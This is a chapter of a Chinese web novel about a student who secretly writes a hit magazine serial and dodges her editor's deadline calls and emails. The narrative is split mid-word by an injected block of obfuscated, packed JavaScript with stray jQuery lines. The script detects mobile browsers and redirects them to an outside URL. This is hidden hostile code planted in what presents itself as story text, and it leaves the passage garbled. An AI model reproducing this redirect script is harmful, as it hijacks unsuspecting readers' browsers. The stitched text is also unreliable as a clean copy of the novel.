给陈梦晓留了言，我继续在网上找实习机会。突然看到一条招聘信息：Monster Cone招实习生，头衔是总裁办公室行政助理。


    这个公司名字有点耳熟，我上网百度了一下，居然是家跨国大公司。我抱着随便试试看的态度投了简历，因为没有实习经验和社团活动经历作为加分项，我心虚地标红了自己的期末成绩。


    吃晚饭的时候，我提了一嘴M市实习资源的匮乏，我爸说我要真想实习可以去他公司。我含混地敷衍过去了，心想我傻了才会去他公司实习，他以为他们公司有谁不认识我？真去了大概没人会指派我干活，我只能在他办公室里看小说打游戏。


    Jessica周五一早就开始对我连环夺命call，大概是因为我没有回复她那封“感人肺腑上价值”的邮件。（自从上次误接了她的电话后，我把她的电话设置成“危险！别接！”）她真不愧是铁娘子，以每小时十个电话的频率持续拨打了四个小时，每一次直到最后一声才挂断。我甚至考虑买个变声器来应付她，告诉她我病得快死了，真的交不了稿。


    我哆嗦着开了飞行模式，同时默默为Jessica祷告，希望她不要有个穷凶极恶的老板。幸好我的微信关闭了电话搜索添加的功能，Jessica除了电话和邮件，没有其他方式能联系到我。我甚至连邮箱都不敢开，Jessica的连环邮件给我造成了心理阴影。


    不得不说，她的邮件展示了《N.Z》对员工多样性的包容，我基本上可以从她的邮件里判断出她当时的心情。


    ——陆星洺先生，这是您拖稿的第一天，我希望拖稿不会成为您的日常。


    理智尚存的人值得被尊重。


    ——陆星洺，你不是第一个拖稿的，也不会成为最后一个拖稿的作家。


    感谢Jessica的信息，让我知道，原来在拖稿的道路上，我并不孤独。


    ——陆星洺，你再不交稿，相不相信我冲到你家去？？！


    大概她离崩溃的边缘也不远了。


    BTW，我才不担心，毕竟她连我的真名都不知道。


    ——陆星洺先生，我为我这两天激烈的措辞表示最深刻的歉意。请您去看一看《N.Z》电子专栏上粉丝们的热切，深切地希望您意识到作为一个作家的责任心与荣誉感。最后，我诚挚地希望您慎重考虑自己的职业生涯。


    这就是那封让我觉得“要么交稿，要么狗带”的邮件。


    事实上，在读完这些邮件之后，我的第一反应是去搜索那些一直拖稿的作家结局。感谢Jessica让我真切地明白了两个真理：


    一、没拖过稿的作家人生是不完整的；


    二、伟大的作家全都拖过稿。


    我用家里的固定电话给李离打了个电话，她在挂断了三次之后终于接了。


    她接起来之后一本正经地问：“喂，你好！请问哪位？”


    “是我。别装正经了。”我被电话那头大义凛然的口气颤出了一身鸡皮疙瘩。


    “卧槽，我还以为是什么垃圾电话。这年头，谁家还留着固定电话？”


    “我家。”随后，我云淡风轻地问：“如果陆星洺决定不写的话，你怎么想？”


    “他敢！！！”电话里突然拔高的声音差点吓得我把话筒扔了，“我好不容易看得下去一位作家写的东西，他就敢太监？简直是不想活了！”


    我吓得一个哆嗦，颤抖着说：“这也得尊重当事人的意见吧？”


    李离义正言辞地表明了她的态度，“对于作者来说，读者的态度才是他应该考虑的意见。”


    脑袋嗡嗡作响，我觉得头要炸了。凭什么我得承受这个压力？！我突然对坊间广泛流传的论调“如果能以兴趣作为工作，那该多么幸福”产生了强烈怀疑，当兴趣成为了工作，我原先从中获得的乐趣消失了，它成为了扼制自由的枷锁。如果我完全没有羞耻心，滥竽充数只要求完成，那不会有如此的压力。可是，这完全违背了我的初衷，如果当作一个任务，创作对我来说丧失了意义。


    思绪来回拉扯，李离的声音从话筒里传出来，“你怎么突然问起陆星洺来了？小西，你是不是知道什么内幕消息？”


    “嗯？没有。”


    不奇怪她会如此猜想，我爸近两年涉足艺术文娱产业，他在家从来不谈八卦，只是在我妈对某个小鲜肉表现赞赏时告诉她一堆明星负面。我怀疑我爸是嫉妒心作祟，可我没有证据。李离从我这或多或少知道了一些明星轶闻。


    “今天要不出来见个面？”我猜，李离的八卦基因蠢蠢欲动，我能想见，她肯定会就陆星洺刨根问底。


    “不了。”我捂住头，快原地爆炸了，“我头疼！”


    她微不可察地叹了口气，“那你注意休息。我本来想……算了，等你好了再说。”


    在这种超越了能够承受的巨大压力下，我滋生出自暴自弃的情绪——反正陆星铭要消失非常容易，连注销手机号码都不用。让杜撰出来的虚拟人物就此消失，既不犯法也没有道德困扰。大不了，我让他消失。


    叮咚一声，邮箱提示有新邮件进来。我做了几次心理建设之后，叹了口气，认命点开——除了Jessica还会有谁给我发邮件呢？！逃避有用，可效力有限。我不能无止境逃避下去。


    “陆星洺先生，如果你仍然质疑自己的影响力，可以去看一看《N.Z》为你建的官方微博，账号名是：暗夜乌托邦黎岛。”


    我第一次知道自己，哦，不，陆星洺居然有一个别人在运营的微博账号。


    微博号上没有任何关于陆星洺个人的东西（这很正常，陆星洺的神秘是魅力的一部分），基本上是小说中节选的片段。这个微博账号关注的人数很多，我觉得诧异，这些刊登在杂志上的内容对大众能有什么吸引力？仔细研究才发现端倪：时间。节选片段基本在出版前，起到类似于电影预告片的作用。


    还有一些Jessica跟我在邮件中探讨的新篇章设想，有些最终出现在小说中，而有些只停留在设想阶段——这种事情屡见不鲜，即使是作者本人，也没办法逼着主人公完全按最初的设想走下去。


    我一条一条读着评论。


    ——星大仿佛不是在写现实主义的故事，而是在写科幻小说。在遥远的未来，世界对个人的判断不再把性别作为考量因素，而是以每一个人的能力和德行作为选拔评价的标准。这真的有可能实现吗？


    ——黎岛是一个乌托邦，羡慕那些黎岛的人民，他们能生活在理想国。现实远远不是这样。但我真希望这样的乌托邦存在。


    ——我是一个从小就被不寄予希望的女孩，一直觉得自己没有价值。可星大笔下的女主太勇敢，她做了所有我想要做却不敢做的事情。感谢星大，我会继续追逐着我的梦想，就像向日葵永远向着太阳。


    ——星大考虑写科幻吗？


    似乎有一个既陌生又熟悉的声音在耳边说话，“你真的愿意一手毁掉自己建立的一切，让所有喜欢陆星洺的人失望吗？”在这个瞬间，我觉得并不是我主宰着陆星洺，而是他控制着我。他努力想要挣脱束缚，叫嚣呐喊“你不是我，你无权替我做出决定”。我不知道，是否在赋予笔下人物个性的同时，也滋养着他的自我意识增长？


    To be or not to be，连莎士比亚那么伟大的作家都决定不了的事情，区区的一个周小西，怎会有答案？


    我向床上倒去，把自己埋进舒适的羽绒被里，大喊大叫，“我写不出来！我还要不要继续写？！我不想写了！啊！！！”


    隔壁传来优雅老妈秒变后妈的暴躁呼喝声，“周小西！安静！”


    我把自己整个裹进被子里，噤声。忘记了今天是我妈的冥想日——每个月的倒数第八天，我妈会在我房间隔壁的小会议室里做一个小时的冥想。为什么挑这个日子，我不知道；为什么冥想还这么暴躁，我也不知道。


    放空片刻，我从被子坐起来，赤着脚一步一挪走到书桌前。我说服自己，只要我坐下来开始写，就能写出让自己满意的文字。深深地呼吸，搜肠刮肚，想象人物的高光时刻，他们要如何从平凡普通走向高光，再一个字一个字敲出来。可这不足以形成完整的故事。


    我命令自己在灵感枯竭时至少写两千字，不管写得怎么样，就算是垃圾也先写下来。


    Jessica没有再打电话，也没有再发邮件，给了我喘息的时间。


    我卡在一千多字，情节往下推进不了。我决定出门呼吸新鲜空气，换换脑子。


    顺便沿途办张新电话卡，我准备把新号码提供给Jessica，告诉她原号码已经不再使用。这样，既能不干扰我的正常生活，又能对这段时间不接电话自圆其说。我突然理解为什么凌静宜有两部手机。接下来的问题是，我从哪儿搞一部旧手机。以前我没关注过爸妈如何处理旧手机。


    此时，我没意识到自己已经有了答案；也没有意识自己低估了追稿的编辑有多么丧心病狂。


    接下来的两天，我每天准时6点起床，情况好的时候坐上几个小时，文字能够顺利流淌出来；情况不好的时候写了删，删了再写，到夜半时分也能完成当天的任务。梦里面不是在读催稿邮件就是在接催稿电话。


    在催稿和每天6点起床的摧残下，我精神倦怠，黑眼圈浓重。


    李离又约了我两次，我说年后见，没想到直至假期结束我们也没见上。


    无论有多么不想面对，截稿日依旧按照自己的节奏没有任何拖延地来了。周日一早，九点开始，我的电话又快被Jessica打爆了，电话满屏幕鲜红的未接来电。


    开启静音，我把手机扔在旁边。以两个章节的篇幅攻克了新小说最难的开头。重新读了一遍这两天起早贪黑的劳动成果，不是太满意，勉强可以打个及格分。按下发送键之前，我深吸了几口气。以一种豁出去的心态狠狠地按下了鼠标。


    我不知道，在邮件的那一头，Jessica像火烧屁股一样隔五分钟刷新邮箱。她的脸色惨白，双手发抖，声音发颤，“陆星铭放鸽子了，他还没有交稿！我们要怎么办？？！”“什么？用别的稿子顶？！你去跟老板汇报吗？！你知道有多少人是为了读他的连载才持续购买我们杂志的吗？！”“开天窗？！想死出门左转上天台！别捎带上我！”


    “用什么内容顶他这一期的连载？”尽管她才吼过助理编辑，可开天窗真的会让她死无葬身之地，她的脑子飞速运转，思考可以用什么内容蒙混过关。


    其实上一期陆星洺的连载结束，业已敬告读者，可陆星洺眼下是《N.Z》的销量保证。完结当天，读者专用邮箱里挤满了读者来信，全都在问陆星洺的新作品规划。她曾经试探过他，让他写番外或创作心得，对方没有拒绝她。在她的字典里，没有明确拒绝即代表同意。她不想承认自己急功近利，甚至有豪赌的成分——陆星洺是她挖掘出的新星，冉冉升起，不仅为自己赢得了声名，也照亮了她的前途。杂志社每年晋升的名额有限，错过了今年六月，下一次不知道要等到什么时候。


    抱有侥幸心理的结果，就是眼下所有人被架在火上烤。她不断给陆星洺施加压力，对方一味逃避。


    Je


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15085855|161687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ssica一筹莫展，恨恨地想，难道自己的职业生涯要葬送在这个新锐作家的手里？她当时到底是哪根筋搭错了才会笃定陆星铭会继续写新的故事专栏？！


    她在心里咒骂着，手指飞快拨动鼠标翻阅通讯录，一目十行地搜寻作家名字，临时找人救场太消耗人情。可眼下没办法了。一行行名字扫过去，她简直要崩溃了——那些作家的拖稿程度远甚于陆星铭，他们为了不交稿编出来的理由匪夷所思，毫无道德底线。


    作家A说自己生病了交不了稿；


    ——得了脚气；


    作家B因为亲人生病了没法交稿；


    ——“亲人”是他养的那只绿毛龟，两天没吃东西，他觉得是胃胀气；


    作家C更可恶，电话从来不接，就算接了也是白搭：明明前一秒欢脱得跟春天的猫儿一样，后一秒就“喂……喂……你说什么？我这里信号不好……”。


    陆星铭出现后，她几乎认为作家这个群体还是有救的。结果……她怎么会相信这个世界上存在永远不拖稿的作家？！这就好比相信这个世界上总有一个男人永远不会出轨一样。


    作为一个资深的恋爱达人，Jessica的座右铭是“永远不要相信男人不会出轨”，这跟她对作家群体所贯彻的原则“永远不要相信作家不会拖稿”，一并构成了她的生存铁律。前者让她不会寄希望于恋爱带来超预期的甜蜜，而后者让她永远有B计划应对作家的拖稿。正是借助这两条铁律，她用三年时间在竞争白热化的《N.Z》升到了高级编辑的职位。


    Jessica深深地吸了一口气，告诉自己冷静，抱着一丝微弱的希望，有气无力地敲了鼠标左键刷新自己的邮箱。一封新邮件弹了出来。她几乎不敢相信自己的眼睛，刚刚她甚至打算起草自己的离职报告了。


    “我的天！”她尖叫出声，“我收到稿子了！！！”


    她用尽全力点击鼠标，好像这样才能确保文档上的文字不会下一秒就消失。点击打印之后，她深深呼出一口气，攥着笔以百米冲刺的速度冲到打印机旁边，一目十行校稿。然后又以同样的速度冲回电脑前，把邮件转发给准备去菲林工厂的同事。接着冲到收件人面前，以临终托孤的姿态告诉她，刚刚发给她的稿子用在陆星洺专栏，千万不能弄错。


    一切尘埃落定之后，Jessica坐下来仔细读陆星洺的邮件，发现他提供了一个新的号码，并说他忘记更新自己的电话号码，以前的号码早已弃用。她轻蔑地扯起嘴角，这套花招，在她面前摆弄还太稚嫩了点。可她还是迅速将号码存进了手机，并用这个号码搜索微信联系人。请求发送成功，等待对方通过。Jessica挑了挑眉毛，陆星洺的原号码她曾尝试加微信，提示“该用户不存在”，要么对方没有注册微信号，这个概率微乎其微；要么对方设置了屏蔽搜索，概率50%；要么这是个小号，概率50%。


    ……


    “陆星洺先生，对您及时交稿的行为深表感谢。与此同时，希望您继续保持这份职业操守。”


    第二天我打开电脑，弹出的邮件提醒内容如上。典型的大棒胡萝卜政策。我忿恨地嘀咕：搬出老美那一套，吓唬谁呢？我可不是吓大的。可接下来的时间，我脑子里却不停地冒出这句话。


    在此之前，我从来没想过专栏作家意味着什么，说实话，我甚至没想过自己能走多远。即使Jessica曾说“你将成为真正的畅销作家”，对我而言仍是模糊的。在自己没有想清楚一件事的意义之前，所有的行动如同无源之水。


    脑子里突然涌现出读过的那一条条评论，有一条评论是这样的——喜欢女主在逆境中的独立和勇敢，也心疼她凡事都自己承担。我现在处于人生的低谷，每天都在纠结挣扎，还要不要坚持下去，或者干脆放弃算了。可看到她，我仿佛有了对标。她比我难得多，如果这样她都不放弃，那我为什么不能再多坚持一会儿呢？


    我突然意识到我笔下的主人公能够慰藉鼓励读者，我的文字能让人产生力量，哪怕只是一点点。或许我永远成为不了一个伟大的作家，可至少我能成为一个让人看到生活有些光亮的作者，这就够了。


    责任与义务相携而行，可此时，我觉得荣誉与压力才是真正的一对儿。


    我好奇其他作家是怎么样的，他们平时会做什么，从哪里汲取灵感？怎么样获得写作的素材？是不是阅历丰富，已经在人生的道路上看过无数风景？我读过的书，他们的文字或老辣或冼炼，如青铜铸剑一样藏在剑鞘里时古朴厚重；可一旦出鞘，却能够摧枯拉朽一般直指人心，有剑指苍穹，万物臣服的气势。


    而我的作品大体都托生于我的想象，没有人生阅历作为基石，我害怕自己的创作渐渐只限于浮在表面；我的文字，有读者评价轻灵跳脱，像一只在林间跳跃的小鹿，同老练没什么关系。这样的文字，会不会越来越无力，失去光芒？


    我需要鲜活的生活给予能量，可生活到底是什么样的？我眼里的生活是大多数人正在经历的生活吗？我的世界和其他人的世界有什么不同？我再一次严肃认真地考虑去体验生活。不过……暂时来说，只限于考虑——毕竟，我连一份正式的实习都没搞定。


    算了，我叹气，拿出备用手机（我买了个Iphone新款换了Monica的旧手机），清理使用痕迹。突然，弹出了Jessica的微信好友申请。我受到了惊吓。显然，我在微信注册时忘记开启屏蔽搜素功能了。


    犹豫半天，我设置“朋友圈三天可见”后通过了她的申请。反正，我的联系人列表里只有她一个人，就算发朋友圈都不用设置分组。